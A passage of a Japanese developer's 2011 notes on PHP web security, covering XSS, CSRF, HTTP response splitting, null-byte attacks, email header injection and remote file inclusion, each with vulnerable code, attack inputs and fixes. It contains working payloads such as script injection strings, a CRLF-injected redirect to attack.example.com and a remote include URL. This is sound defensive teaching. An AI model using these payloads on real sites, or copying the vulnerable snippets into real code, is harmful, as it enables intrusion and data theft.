PHP と Web アプリケーションのセキュリティについてのメモ

HOME | メモ一覧 | LastUpdate: 2011-02-27

このページについての説明・注意など

PHP は、Apache モジュールや、CGI、コマンドラインとして使用できるスクリプト言語です。このページでは、主に PHP における、Web アプリケーションのセキュリティ問題についてまとめています。

Web アプリケーションのセキュリティ問題としては、以下の問題についてよく取り挙げられていると思いますが、これらのセキュリティ問題について調べたことや、これら以外でも、PHP に関連しているセキュリティ問題について知っていることについてメモしておきます。

また、PHP マニュアル : セキュリティや、PHP Security Guide (PHP Security Consortium) には、PHP で影響を受ける可能性のある多くのセキュリティ問題についての解説があります。また、PHP についての解説は多くはありませんが、一般的なセキュリティ問題への対策として非常に参考になるセキュア・プログラミング講座という資料が IPA から公開されています。PHP を使用する場合、特に Web プログラマコースについて読むことをお勧めします。また、セキュア・プログラミング講座 第2版も公開されています。

書籍としては「PHP サイバーテロの技法 - 攻撃と防御の実際」が 2005.11.22 に発売されています。PHP を使用した Web アプリケーション開発で注意すべきセキュリティ問題のそれぞれについて詳しく書かれており、非常に参考になる書籍だと思います。また、この本の著者である後藤さんから一部このページを参考にしたという旨の連絡をいただきました。この本ではこのページで書いていることのほとんどが網羅されています。

また、「パーフェクトPHP」(発売日:2010.11.12)は、PHP の基本機能やライブラリ、フレームワークだけでなく、Web アプリケーションセキュリティについても詳しく取り扱っています。セキュリティの部分を担当された橋口さんには、セッションハイジャック対策のフィンガープリントのチェックを参考にしていただいたという連絡をいただきました。

体系的に学ぶ 安全なWebアプリケーションの作り方 - 脆弱性が生まれる原理と対策の実践」(発売日:2011.03.01)には、レビュアーの一人として、参加させていただきました。この書籍では、脆弱性の原因からその解消方法まで、丁寧に説明されています。タイトル通り、体系的に Web アプリケーションセキュリティについて学ぶには最適の書籍だと思います。書籍のレビュー中には、著者の徳丸さんおよび、他のレビュアーの方から多くのことを学ばせていただきました。どうもありがとうございました。

もし、このページを見て、何か誤字、脱字、間違い、他にも載せた方が良い情報などがありましたら、メールで教えてください。

おそらく、ここでまとめたセキュリティ対策だけでは十分とは言えませんし、勉強不足のため、詳しく説明できていない範囲や不足、間違いなどもあると思いますが、参考になりましたら幸いです。

追加項目や変更点については、更新履歴を参照してください。


目次

  1. このページについての説明・注意など
  2. クロスサイトスクリプティング
    1. クロスサイトスクリプティングについて
    2. 検証コード
    3. 対処方法
    4. 注意
    5. クロスサイトスクリプティング対策に strip_tags() を使用するときの注意
    6. 文字コードに UTF-7 を使用したクロスサイトスクリプティング
    7. 参考サイト
  3. CSRF(クロスサイトリクエストフォージェリ: Cross-Site Request Forgeries)
    1. CSRF について
    2. 対処方法
    3. 参考サイト
  4. HTTP レスポンス分割攻撃(HTTP Response Splitting Attack)
    1. HTTP レスポンス分割攻撃について
    2. 検証コード
    3. 対処方法
    4. 注意
    5. 参考サイト
  5. NULL バイト攻撃(NULL Byte Attack)
    1. NULL バイト攻撃(NULL Byte Attack)について
    2. 検証コード
    3. 対処方法
    4. その他
    5. 参考サイト
  6. Email ヘッダ・インジェクション(Email header injection)
    1. 概要
    2. 検証コード
    3. 対処方法
    4. 注意
    5. 参考サイト
  7. PHP の include(), require() 関連の問題について
    1. 概要
    2. 検証コード
    3. 対処方法
    4. 問題のあるパス・トラバーサル対策
    5. allow_url_fopen を Off にする対処についての注意
    6. allow_url_include
    7. PHP のコード評価関数での問題について
    8. 参考サイト
  8. PHP でセッション変数、Cookie を使用する際のセキュリティ対策について
    1. セッション変数について
    2. PHP のセッション処理の動作
      1. セッションの開始
      2. セッションの終了
      3. セッションの有効期間
      4. ガーベージ・コレクション
    3. Cookie の secure 属性
    4. Cookie Path
    5. セッション ID の変更
    6. セッション・タイムアウトへの対処
    7. セッション関連の処理で注意すべきクロスサイトスクリプティング問題
    8. セッションハイジャック対策の一例
    9. Session Fixation(セッション固定)攻撃
      1. Session Fixation 攻撃を起こす方法
      2. 参考サイト
    10. 参考サイト
  9. ファイルアップロードについて
    1. PHP でのファイルアップロード処理
    2. .php でない拡張子でも PHP が実行される問題
    3. PHP 4.3.8 以前に任意の場所にファイルをアップロードされる可能性がある問題
    4. PHP 4.1.1 以前のバージョンにファイルアップロード処理にセキュリティホールがある問題
  10. register_globals に関する問題
    1. register_globals について
    2. register_globals が On の環境でも Off と同様の状態にする方法
    3. $GLOBALS 変数に関するセキュリティ問題
  11. PHP を使用していることを隠蔽する
    1. PHP を隠蔽する必要性
    2. PHP の設定
    3. Apache の設定
    4. 参考サイト
  12. セキュリティに配慮した php.ini の設定
    1. php.ini の設定
    2. 参考リンク
  13. PHP で報告されているバグ、セキュリティ問題
    1. 参考サイト
    2. PHP Trailing Slash "open_basedir" Security Bypass
    3. PHP Safedir Restriction Bypass Vulnerabilities
    4. Path Disclosure and PHP
    5. PHP 4.1.2 から PHP 4.3.9 と PHP 5.0.1 以前にメモリリークを起こす
    6. PHP CURL "open_basedir" Security Bypass Vulnerability
    7. PHP memory_limit remote vulnerability
    8. PHP strip_tags() bypass vulnerability
    9. Cross-site Scripting in PHP's Transparent Session ID Support
    10. PHP 4.3.2 の sprintf() や printf() にバグ
    11. PHP 4.3.0 から PHP 4.3.2 のセーフモードにバグ
    12. PHP 4.3.0 の CGI 版にバグ
  14. 参考サイト
  15. 更新履歴

クロスサイトスクリプティング

  1. クロスサイトスクリプティングについて
  2. 検証コード
  3. 対処方法
  4. 注意
  5. クロスサイトスクリプティング対策に strip_tags() を使用するときの注意
  6. 文字コードに UTF-7 を使用したクロスサイトスクリプティング
  7. 参考サイト

a. クロスサイトスクリプティングについて

クロスサイトスクリプティング(XSS と表記されることが多いようです)は、外部からの入力に Javascript や VBScript などが含まれていた場合に、その文字列の出力時にエスケープ処理を行っていないことが原因で起きる問題です。

実際の内容は複雑なのですが、悪意のあるユーザにより、ページ内に Javascript などが埋め込まれると、それを表示した他のユーザのブラウザでスクリプトが実行されます。これにより、そのページを表示したユーザのブラウザがクラッシュさせられる、セッション ID が盗まれる、他のサーバへの攻撃をさせられる可能性があります。

章の最初へ | 目次へ

b. 検証コード

PHP では、以下のように、GET や POST の変数をそのまま出力した場合に問題となります。

...

<form method="post" action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>">
名前 : <input name="user" type="text" />
       <input type="submit" name="submit" value="投稿" />
</form>

<?php if ( ! empty( $_POST['user'] ) ) : ?>
<div> 名前 : <?php echo $_POST['user'] ?></div>
<?php endif ?>

...

試さない方が良いですが、テキストボックスに以下のような Javascript を入力すると、ブラウザがアラートボックスを出し続け、ユーザがブラウザの操作ができないようになります。

<script>while(1){ alert( 'test' ); }</script>

他にも、現在の Cookie を取得して、別のサーバに渡すなどという非常に危険なコードを実行させることも可能です。これは、ショッピングサイトなどの個人情報を扱うサイトである場合、なりすましなどが行われる可能性があります。

章の最初へ | 目次へ

c. 対処方法

HTML として出力する全ての変数、定数、関数の結果に対して、htmlspecialchars() を通して出力すれば、ほとんどのクロスサイトスクリプティングは回避できます。意図的にタグを含めて出力する場合以外は、それに応じた対処を行ってください。

PHP では、htmlspecialchars()strip_tags() という関数が用意されています。タグやその構成要素として認識される文字列(<, >, &, ") も表示したい場合は、htmlspecialchars() を、タグの部分を削除したい場合は strip_tags() を使用します。

個人的には、クロスサイトスクリプティング対策では strip_tags() よりも htmlspecialchars() を使用することをお勧めします。理由としては、「"」や「&」は htmlspecialchars() によるエンティティ変換でエスケープできますが、strip_tags() では、タグの外に 「"」や「&」が含まれていた場合、そのまま出力してしまうためです。

<div> 名前 : <?php echo htmlspecialchars( $_POST['user'] ) ?></div>

タグの属性値を「'」で括っている場合、htmlspecialchars() の第2引数に ENT_QUOTES を入れておく必要があります。

<a href='<?php echo htmlspecialchars( $str, ENT_QUOTES ) ?>'>url</a>;

また、htmlspecialchars() には、第3引数として、文字コードを指定できますので、文字コード関連の問題を回避するために指定した方が安全です。毎回、これらのように、htmlspecialchars() の引数を指定するのは面倒ですので、echo の代わりに以下のような関数を定義して出力する全ての変数に適用すれば良いと思います。

<?php
function echo_html( $str )
{
    echo htmlspecialchars( $str, ENT_QUOTES, 'UTF-8' );
}
?>
<a href="<?php echo_html( $url ) ?>"><?php echo_html( $title ) ?></a>

以上のエスケープ処理はデータの入力時ではなく、HTML を出力する時に行わなければならないとされています。これを徹底しておけば、PHP スクリプトの内部で二重にエスケープ処理を行ってしまったり、エスケープを忘れたりするような問題を回避しやすくなります。

クロスサイトスクリプティングの解説記事でよく説明される「入力データチェックを厳密に」という表現から,図3の(1)フォーム受付時のタイミングでサニタイジングを行うのかと思いがちである。サニタイジングは(2)HTML生成時のタイミングで行うべきである。次章「クロスサイトスクリプティング対策の詳細」で説明するが,データを埋め込むHTML中の文脈に合わせて適切なサニタイジング手法を選択する必要があるからである。また掲示板の例では,将来的にデータベースへの記事の書き込み手段として,メールによる投稿が導入された場合でも,(2)HTML生成時のタイミングでサニタイジングしていれば,なんら手を加えることなく,いろんな入力源から入り込んでくるデータを漏れなくサニタイジングできる。また,同じデータに誤って2回以上サニタイジングしてデータの意味が変わってしまうという設計上のトラブルも防げる。

このようにサニタイジングのタイミングは(1)フォーム受付時ではなく,(2)HTML生成時でなければならない。参考文献『Understanding Malicious Content Mitigation for Web Developers』でもHTML生成時のサニタイジングを推奨している。

セキュアプログラミング講座 第1章 セキュアWebプログラミング [1-2.]クロスサイトスクリプティング「サニタイジングのタイミングは HTML 生成時」

章の最初へ | 目次へ

d. 注意

以下のようなことを行った場合、上記の対策では不十分になります。

章の最初へ | 目次へ

e. クロスサイトスクリプティング対策に strip_tags() を使用するときの注意

strip_tags() はクロスサイトスクリプティング対策として使用するには不十分です。strip_tags() を使用する場合は、他の方法と組み合わせて対処を行ってください。以下の問題があります。

PHP マニュアルでは既に修正されたようですが、PHP マニュアルの セッション処理関数(session)の例で、以前、以下のように書かれていました。以下の処理はクロスサイトスクリプティング対策になりませんので、注意してください。

例 5. 単一のユーザーに関するヒット数を数える

<?php
if (!session_is_registered('count')) {
    session_register('count');
    $count = 1;
} else {
    $count++;
}
?>

こんにちは、あなたがこのページに来たのは<?php echo $count; ?>回目ですね。 <p>

続けるには、<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">ここをクリック</A>して下さい。

XSS に関係する攻撃を防止するために SID を出力する際に、strip_tags()を使用します。

PHP マニュアル: セッション処理関数(session) の例 5

以下の部分ですが、SID には、任意の文字列が入る可能性があるため、クロスサイトスクリプティング対策を行う必要があります。問題は、strip_tags() はダブルコーテーションを削除しないため、エスケープ処理を回避することが可能であるという点です。

<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">

例えば、SID に以下の文字列が入っていた場合、Javascript の実行は可能です。

" onmouseover="alert();

この例では、タグは以下のようになり、リンクの上にマウスを置くと、Javascript が実行されます。

<A HREF="nextpage.php?" onmouseover="alert();">

ブラウザからのリクエストを行う際には、以下のように指定することになります。

http://www.example.com/session.php?PHPSESSID="%20onmouseover="alert();"

これに対処するのは簡単で、strip_tags() ではなく、htmlspecialchars() を使用します。

<A HREF="nextpage.php?<?php echo htmlspecialchars(SID) ?>">

タグは以下のようになり、Javascript は実行されません。

<A HREF="nextpage.php?&quot; onmouseover=&quot;alert();&quot;">

少なくとも、タグの内部では、htmlspecialchars() を使用した方が安全です。ただし、この例の場合のように、urlencode() の方が適切なこともあります。

他にも、strip_tags() には第2引数を指定することができ、除外を行わないタグを指定できますが、この場合、削除を除外したタグの中に Javascript のコードが含まれていた場合、実行されてしまう可能性があります。クロスサイトスクリプティング対策として、strip_tags() を使用するのはやめておいた方が良いと思います。

章の最初へ | 目次へ

f. 文字コードに UTF-7 を使用したクロスサイトスクリプティング

文字コードが UTF-7 の場合、htmlspecialchars() ではタグのエスケープができないという問題が報告されています。

例えば、"<script>alert('test');</script>" という文字列を UTF-7 に変換すると以下のよう表現されます。

+ADw-script+AD4-alert('test')+ADsAPA-/script+AD4-

このような文字列が出力され、ブラウザの自動認識で文字コードが UTF-7 であると判定される、または手動で文字コードを UTF-7 に設定するとクロスサイトスクリプティングが成功します。

以下のコードは Google XSS Example (Chris Shiflett: The PHP Blog) で掲載されていたコードを少し変更したものですが、文字コードが UTF-7 の場合、htmlspecialchars() や、htmlentities() 関数ではタグをエスケープできないことが分かります。

<?php
header( 'Content-Type: text/html; charset=UTF-7' );
$string = "<script>alert('XSS');</script>"; 
$string = mb_convert_encoding( $string, 'UTF-7' );
echo htmlspecialchars( $string ); 
?>

この問題への対処としては、HTTP レスポンスヘッダで明示的に文字コードを指定して、ブラウザの自動判別機能を動作させないという方法が挙げられます。PHP では header() 関数を使用して明示的に文字コードを指定できます。例として、EUC-JP で出力している場合は、以下のようにします。

header( 'Content-Type: text/html; charset=EUC-JP' );

出力時に文字コードの自動変換機能(mbstring.encoding_translation)を有効にしている場合は、PHP が自動的に文字コードを出力してくれますので、この場合は明示的にヘッダを出力する必要はないかもしれません。

章の最初へ | 目次へ

g. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


CSRF(クロスサイトリクエストフォージェリ: Cross-Site Request Forgeries)

  1. CSRF について
  2. 対処方法
  3. 参考サイト

a. CSRF について

CSRF は特定のサイトの正規のユーザの権限を悪用して、正規のユーザが意図していない処理を強制させる攻撃です。正規のユーザがあるサイトにログインした状態で、攻撃者がそのサイトに影響を与える命令を実行させることを意図した別の URI へ誘導することで発生します。Session Riding と呼ばれることもあるようです。

クロスサイトスクリプティングと併用して行われることが多いようですが、基本的には無関係です。ただし、クロスサイトスクリプティングが可能な場合、CSRF を完全に防ぐことはできません。

CSRF については、CSRF - クロスサイトリクエストフォージェリ(hoshikuzu | star_dust の書斎) に参考サイトがまとまっており、非常に参考になります。

章の最初へ | 目次へ

b. 対処方法

開発者のための正しいCSRF対策が非常に参考になります。このページの「正しい CSRF 対策」を参考にして対処を行えば良いと思います。以下の4つの方法が挙げられています。

PHP での実装例として、一定時間ごとにトークンを切り替えて CSRF を防止する方法を考えてみました。完全に CSRF を防止することは保証しませんが、トークンとして動作すると思います。

<?php
class Token
{
    var $ttl;
    var $name;

    function Token( $name = 'tokens', $ttl = 1800 )
    {
        // CSRF 検出トークン最大有効期限(秒)
        // 最小期限はこの値の 1/2 (1800 の場合は、900秒間は最低保持される)
        $this->ttl = (int)$ttl;

        // セッションに登録するトークン配列の名称
        $this->name = $name;
    }

    /**
     * トークンを生成
     */
    function createToken()
    {
        $curr = time();
        $tokens = isset( $_SESSION[$this->name] ) ? $_SESSION[$this->name] : array();
        foreach ( $tokens as $id => $time ) {
            // 有効期限切れの場合はリストから削除
            if ( $time < $curr - $this->ttl ) {
                unset( $tokens[$id] );
            }
            else {
                $uniq_id = $id;
            }
        }
        if ( count( $tokens ) < 2 ) {
            if ( ! $tokens || ( $curr - (int)( $this->ttl / 2 ) ) >= max( $tokens ) ) {
                $uniq_id = sha1( uniqid( rand(), TRUE ) );
                $tokens[$uniq_id] = time();
            }
        }
        // リストをセッションに登録
        $_SESSION[$this->name] = $tokens;
        return $uniq_id;
    }

    /**
     * セッションのリストにトークンが存在し、トークンが有効期限内の場合は FALSE を返す
     */
    function isCSRF( $token )
    {
        $tokens = $_SESSION[$this->name];
        if ( isset( $tokens[$token] ) && $tokens[$token] > time() - $this->ttl ) {
            return FALSE;
        }
        return TRUE;
    }
}
?>

(2008.05.11 修正)

上記コードの isCSRF() メソッドの返り値が間違っていましたので、修正しました。コメントに書かれているのと逆の動作になっていました。指摘してくださった yu-ki さん、どうもありがとうございました。

考え方としては、以下の通りです。ブラウザで複数のページを開いていた場合でも、一定時間以内にページの書き換えがあれば、セッションを継続できます。

以下のように使用します。

<?php
session_start();
$token =& new Token()

if ( isset( $_POST['command'] ) ) {    // CSRF をチェックする必要のある処理の場合
    if ( empty( $_POST['token'] ) || $token->isCsrf( $_POST['token'] ) ) {
        // CSRF が検出されたか、期限切れの場合の処理
        trigger_error( 'CSRF or timeout' );
        exit;
    }
    // $_POST['command'] を使用した処理
}
$token_id = $token->createToken();

?>
...
<input type="hidden" name="token" value="<?php htmlspecialchars( $token_id, ENT_QUOTES ) ?>" />
...

章の最初へ | 目次へ

c. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


HTTP レスポンス分割攻撃(HTTP Response Splitting Attack)

  1. HTTP レスポンス分割攻撃について
  2. 検証コード
  3. 対処方法
  4. 注意
  5. 参考サイト

a. HTTP レスポンス分割攻撃について

PHP には、ブラウザに対して HTTP レスポンスヘッダを送信する関数があります(header(), setcookie() 関数など) ブラウザは、HTTP レスポンスヘッダを受け取ると、その内容に応じた処理を行います。

Web アプリケーション開発者が header() 関数などに、外部からの入力を使用していた場合、適切な処理を行っていないと、不正に HTTP レスポンスヘッダを出力させられてしまう可能性があります。

HTTP レスポンスヘッダを不正に改竄されると、Location: ...Set-Cookie: ... など、任意のヘッダを出力させられてしまうことになります。場合によっては、非常に危険な攻撃が可能になりますので、十分な対処を行う必要があります。

章の最初へ | 目次へ

b. 検証コード

例えば、別のサーバにリダイレクトを行う以下のようなスクリプトがあるとします。

if ( ! empty( $_GET['id'] ) ) {
    $id = $_GET['id'];
    header( 'Location: http://contents.example.com/' . $id . '/' );
}

以下のようなリクエストを送ることで、攻撃者は任意の HTTP レスポンスヘッダを追加できます。

http://www.example.com/redirect.php?test=a%0d%0aLocation:%20http://attack.example.com/

この攻撃方法を使用すると、任意のサーバに誘導させられるだけでなく、Cookie の内容を取得される(セッションハイジャックや機密情報を盗まれる)、Cookie の内容の上書き(セッション固定など)、Proxy サーバおよび、ローカルにおけるキャッシュ汚染などが可能になります。

章の最初へ | 目次へ

c. 対処方法

2通りの対処方法があります。

章の最初へ | 目次へ

d. 注意

PHP 5.0.0 から PHP 5.1.1 までのバージョンでは、セッション機能に HTTP レスポンス分割の脆弱性があることが報告されています。これは、PHP がセッション ID をそのまま HTTP レスポンスヘッダの Set-Cookie フィールドに使用してしまうことが原因です。

問題の影響を受けるバージョンを使用している場合は、Hardened-PHP Project が公開している Patch を適用して運用するか、最新のバージョンを使用することでこの問題の影響を回避できます。

PHP スクリプト側での対処方法としては、session.use_only_cookies を有効にして運用する、または、session_start() の後に必ず session_regenerate_id() を実行するという方法が考えられます。

章の最初へ | 目次へ

e. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


NULL バイト攻撃(NULL Byte Attack)

  1. NULL バイト攻撃(NULL Byte Attack)について
  2. 検証コード
  3. 対処方法
  4. その他
  5. 参考サイト

a. NULL バイト攻撃(NULL Byte Attack)について

NULL バイト("\x00" や "\0" として表される C 言語では終端文字されている文字列) による影響により、誤動作の原因となる問題です。

PHP に限りませんが、変数にバイナリデータが含まれている場合でも、正しく処理できるバイナリセーフの関数とバイナリデータが含まれていた場合、正しく処理できない可能性があるバイナリセーフでない関数があります。バイナリセーフでない関数は NULL バイトが含まれていた場合、文字列の終了とみなしてしまうため、NULL バイトの後ろにデータがあった場合でも処理を終了してしまいます。これにより、スクリプトで意図していなかった動作となる可能性があります。

詳しくは次の検証コードで説明しますが、NULL バイトの問題は影響を受ける関数が多く、様々な問題を引き起こす可能性があります。チェックを行わない場合を除くと、以下の条件に当てはまった場合、意図していなかった動作となる可能性が高くなります。

  1. バイナリセーフの関数で入力チェックを行い、バイナリセーフでない関数を使用した処理を行った場合

  2. バイナリセーフでない関数で入力チェックを行い、バイナリセーフの関数を使用した処理を行った場合

バイナリセーフでない関数の例として、引数のファイル名に NULL バイトが含まれていると NULL バイトまでの部分をファイル名として認識する関数や制御構造には、以下のものがあります(おそらく、これら以外にもあると思います)。

以下の POSIX 互換の正規表現関数も NULL バイトが含まれている文字列を正しく処理できませんので、気をつける必要があります。

また、途中でバイナリセーフに変更された関数や制御構造もあります。詳しくは、PHP 4 ChangeLog を binary safe というキーワードで検索してみると、他にもいくつか見つかります。これらの関数は、PHP のバージョンによって NULL バイトの扱いを気にする必要があるかもしれません。

章の最初へ | 目次へ

b. 検証コード

  1. バイナリセーフの関数で入力チェックを行い、バイナリセーフでない関数を使用した処理を行った場合の問題

    PHP-users メーリングリストに以下の例が投稿されていました([PHP-users 12736] null byte attack)

    <?php
    // ファイル名: null_byte.php
    // 攻撃例: http://example.com/null_byte.php?filename=null_byte.php%00myext
    // 上記の攻撃例では意図していないスクリプトソースが表示される
    
    echo '<pre>';
    
    // 専用の拡張子のファイルのみ開く(つもり)
    if (preg_match('/myext$/', $_GET['filename'])) {
      // eregはバイナリセーフではないので、\0で文字列の終り
      // とみなします。eregを使っている場合はnull byte attackは
      // 不可
      readfile($_GET['filename']);
    }
    else {
      echo "bad file\n";
    }
    ?>
    

    このスクリプトの意図としては、指定されたファイル名が myext という拡張子だった場合、指定されたファイルを表示するというものですが、任意のファイルを表示させることが可能になっています。この例では、自分自身(null_byte.php)を表示してしまいます。

    問題は、preg_match() はバイナリセーフであるため、以下の部分で TRUE を返すのですが、

    if ( preg_match( '/myext$/', "null_byte.php\0myext" ) ) {
        ...
    }
    

    readfile() は引数のファイル名で NULL バイトを扱えないため、NULL バイト以前までを有効な文字列としてみなします。

    readfile( "null_byte.php\0myext" );    // "\0" は NULL バイト

    結局、以下の命令を実行するのと同じ結果になってしまいます。

    readfile( "null_byte.php" );

    この問題を解決する方法として、preg_match() の代わりに、ereg() を使用する方法が挙げられています。以下のように ereg() を使用した場合、if 文の結果は FALSE になりますので、問題は起こりません。

    if ( ereg( 'myext$', "null_byte.php\0myext" ) ) {
        ...
    }

    または、preg_match() で省略せずに、文字列の先頭から不正な文字列のみで構成されているかを確認するという方法もあります。NULL バイトが含まれていないことを保証するため、許可する文字を限定する必要があります(ここでは、\w(0-9, a-z, A-Z, -を含む) を使用しています。任意の文字である "." を使用すると意味がなくなります)。例として、preg_match() を使用していても、以下のようにすれば if 文は FALSE を返します。

    if ( preg_match( '/^\w+\.myext$/D', "null_byte.php\0myext" ) ) {
        ...
    }
    
  2. バイナリセーフでない関数で入力チェックを行い、バイナリセーフの関数を使用した処理を行った場合

    例えば、以下のような例が考えられます。通常は POST を使用してフォームを送信すると思いますが、分かりやすくするために GET を使用しています。

    <?php
    $file = '/tmp/test.txt';
    if ( ! empty( $_GET ) ) {
        $name = ereg_replace( "\t|\n", " ", $_GET['name'] );
        if ( ereg( "^[0-9]{3}-[0-9]{4}$", $_GET['zip'] ) ) {
            $fp = fopen( $file, is_file( $file ) ? "a" : "w" );
            fwrite( $fp, $name . "\t" . $_GET['zip'] . "\n" );
            fclose( $fp );
        }
        else {
            echo '不正なデータが入力されました。';
        }
    }
    ?>
    <form method="get" action="<?php echo htmlspecialchars( $_SERVER["SCRIPT_NAME"] ) ?>">
        名前 : <input type="textbox" name="name" />
    郵便番号 : <input type="textbox" name="zip" />
    <input type="submit" value="送信">
    </form>
    <pre>
    <?php
    $data = is_file( $file ) ? file( $file ) : exit( 'データがありません' );
    foreach ( $data as $line ) {
        list( $name, $zip ) = explode( "\t", $line );
        echo htmlspecialchars( $name . ":" . $zip );
    }
    ?>
    </pre>
    

    このスクリプトは、名前と郵便番号をタブ区切りでチェックを通過したデータをファイルに追加していくだけのものです。

    チェック関数として、ereg_replace()ereg() を使用していますが、これらの関数はバイナリセーフではないため、以下のような URI が入力された場合、2人分のデータの入力が可能になり、2人目以降はデータのチェックが行われないことになります("%00" は NULL バイト、"%0A" は改行コード、"%09" はタブです)。

    http://example.com/input.php?name=test1&zip=000-0000%00%0Atest2%09zipcode

    ereg() 関数でチェックを行う部分は以下の処理を行うことになります。ereg() では、NULL バイトまでしか認識しないため、この if 文は TRUE になり、ファイルへの追記が行われます。

    if ( ereg( "^[0-9]{3}-[0-9]{4}$", "000-0000\x00\x0Atest2\x09zipcode" ) ) {

    データファイルは以下のようになります。"\t" はタブ、"\0" は NULL バイトです。NULL バイト入っていますが、次の行にデータが追加できてしまっていることが分かります。

    test1\t000-0000\0
    test2\tzipcode
    

    この場合、バイナリセーフでない ereg 系の関数では NULL バイトを扱えないため、バイナリセーフである、preg 系の関数を使用して、問題を回避する必要があります。

    該当部分(4,5行目)を以下のように preg 系の関数を使用するように修正すれば、この問題は回避できます。

        $name = preg_replace( "/\t|\n/", " ", $_GET['name'] );
        if ( preg_match( "/^[0-9]{3}-[0-9]{4}$/D", $_GET['zip'] ) ) {
    

章の最初へ | 目次へ

c. 対処方法

NULL バイトの問題は非常に複雑であるため、個別に対処するには、全ての関数についてバイナリセーフであるかどうかを調べる必要があり、非常に手間が掛かります。もし、外部からの入力が文字列で、テキストデータであることが分かっているのであれば、NULL バイトを全て取り除くことで簡単に対処できます。

$_POST, $_GET, $_COOKIE については、基本的には文字列のテキストデータが入っていますので、以下の関数が使用できます。スクリプトの最初で適用すれば、これらの適用した変数で NULL バイトの問題を気にする必要がなくなります。ただし、バイナリデータが含まれる変数に使用した場合、データが破壊される可能性がありますので、注意してください。

また、日本語でよく使用される文字コードセットである、EUC-JP、Shift_JIS、ISO-2022-JP、UTF-8 では、NULL バイトが文字列に含まれることは無いはずですが、それ以外の文字コードセットでは NULL バイトが含まれる可能性がありますので、その場合は NULL バイトが含まれないことを確認してから使用してください。もう一つの注意として、この関数を適用したそれぞれの配列の変数は文字列になってしまいますので、型を気にする必要がある場合は型に応じて適当に修正する必要があります。

function delete_nullbyte( $arr )
{
    if ( is_array( $arr ) ) {
        return array_map( 'delete_nullbyte', $arr );
    }
    return str_replace( "\0", "", $arr );
}

$_GET    = delete_nullbyte( $_GET );
$_POST   = delete_nullbyte( $_POST );
$_COOKIE = delete_nullbyte( $_COOKIE );

個人的には、入力チェックに正規表現を使用する場合は、ereg 系の POSIX 互換の正規表現関数は使用せずに、preg で始まる Perl 互換の正規表現関数か、mb_ereg で始まるマルチバイト正規表現関数を使用した方が安全であると思います。ただし、上の1番目の例にもあるように、NULL バイトが含まれている可能性を考慮すると、文字列の最終部分だけでなく、先頭から文字列全体をチェックする必要があります。

また、正規表現による文字列のチェックだけではなく、読み込むファイルを外部の入力データから決定するのであれば、is_file() や、basename() などを組み合わせて、確実に意図しているディレクトリからファイルを読み込むようにしておくと安全です。

章の最初へ | 目次へ

d. その他

その他、NULL バイトに関連する PHP のセキュリティ問題として報告されているものがいくつかあります。

章の最初へ | 目次へ

e. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


Email ヘッダ・インジェクション(Email header injection)

  1. 概要
  2. 検証コード
  3. 対処方法
  4. 注意
  5. 参考サイト

a. 概要

mail()mb_send_mail() 関数では、第4引数で追加のヘッダを指定することができますが、そこに外部から入力されたデータを追加する場合、外部からの入力変数のチェックを行っていないと任意のメールヘッダやメール本文を追加できてしまうという問題があります。

章の最初へ | 目次へ

b. 検証コード

以下のように mail() 関数を使用していた場合、$_POST['from'] に不正な文字列が入力された場合、任意のメールヘッダやメール本文を入力することが可能です。

$from = $_POST['from'];
$header = 'From: ' . $from . "\n";
mail( $to, $subject, $message, $header );

例えば、$_POST に以下のような文字列が入力されていた場合、bcc: に指定したアドレスにもメールを送信させることが可能です。

test@mail.example.com\nbcc:test2@mail2.example.com\n

章の最初へ | 目次へ

c. 対処方法

例えば、以下のように正規表現などによって入力が正しいかどうかを判定することで対処可能です。必要に応じた対処を行ってください。

$from = $_POST['from'];
if ( ! preg_match( '/^[-.\w]+@([-\w]+\.)\w+$/D', $from ) ) {
    // 不正な文字列が入っていた場合の処理
    exit;
}
$header = 'From: ' . $from . "\n";
mail( $to, $subject, $message, $header );

章の最初へ | 目次へ

d. 注意

PHP 5.1.0 と PHP 4.4.2RC1 より前のバージョンの mb_send_mail() 関数の問題として、mail() 関数では行われている To: (第1引数) の改行コードの削除が mb_send_mail() では行われてないという問題が指摘されています。このため、To: に改行コードが含まれる事がないようにする必要があります。

To: にはメールアドレスしか入らないように確認するなどの対処を行っていれば、改行コードは入りませんので、特に気にするような問題ではありません。

章の最初へ | 目次へ

e. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


PHP の include(), require() 関連の問題について

  1. 概要
  2. 検証コード
  3. 対処方法
  4. 問題のあるパス・トラバーサル対策
  5. allow_url_fopen を Off にする対処についての注意
  6. allow_url_include
  7. PHP のコード評価関数での問題について
  8. 参考サイト

a. 概要

PHP の include(), include_once(), require(), require_once() は、外部ファイルを読み込み、評価する制御構造ですが、これらに渡す引数に http://...ftp://... などの URI を渡すことも可能です。外部からファイルが PHP スクリプトだった場合、そのスクリプトを実行してしまいますので、include()require() に渡す引数には注意が必要です。

PHP では、include_path を設定し、GET 変数や POST 変数などの引数により読み込むファイルを切り替えるという方法がよく使われていると思いますが、ユーザからの入力チェックを正しく行わないと、外部から任意のスクリプトが実行されてしまう可能性があります。

また、allow_url_fopenOff に設定することで include(), require(), fopen などによる外部サーバへの接続を禁止することも可能ですが、allow_url_fopenOff にしていても、任意のスクリプトを実行させる方法もあります(php://input を使用する方法)ので、十分な入力チェックを行い、include()require() に想定していない文字列が渡るようなことがないようにしてください。

章の最初へ | 目次へ

b. 検証コード

以下のように、外部のサーバに実行したい PHP スクリプトを準備します。例えば、http://attack.example.com/exec.txt に、以下の内容が書かれていたとします。

<?php phpinfo() ?>

また、攻撃対象のサーバ(http://www.example.com/index.php)で以下のようなスクリプトが設置されていたとします。

<?php
include( $_GET['file'] );
?>

ブラウザから以下のようなリクエストを行うと、攻撃対象のサーバで http://attack.example.com/exec.txt で書かれているコードが実行されます。

http://www.example.com/index.php?file=http://attack.example.com/exec.txt

また、include()require() では、NULL バイトの影響を受けますので、以下のように、指定された拡張子のファイルを読み込むことを想定していた場合でも、

<?php
include( $_GET['file'] . '.inc.php');
?>

次のような NULL バイトの指定を含んだリクエストを受けると、外部のコードを実行することが可能になってしまいます。

http://www.example.com/index.php?file=http://attack.example.com/exec.txt%00

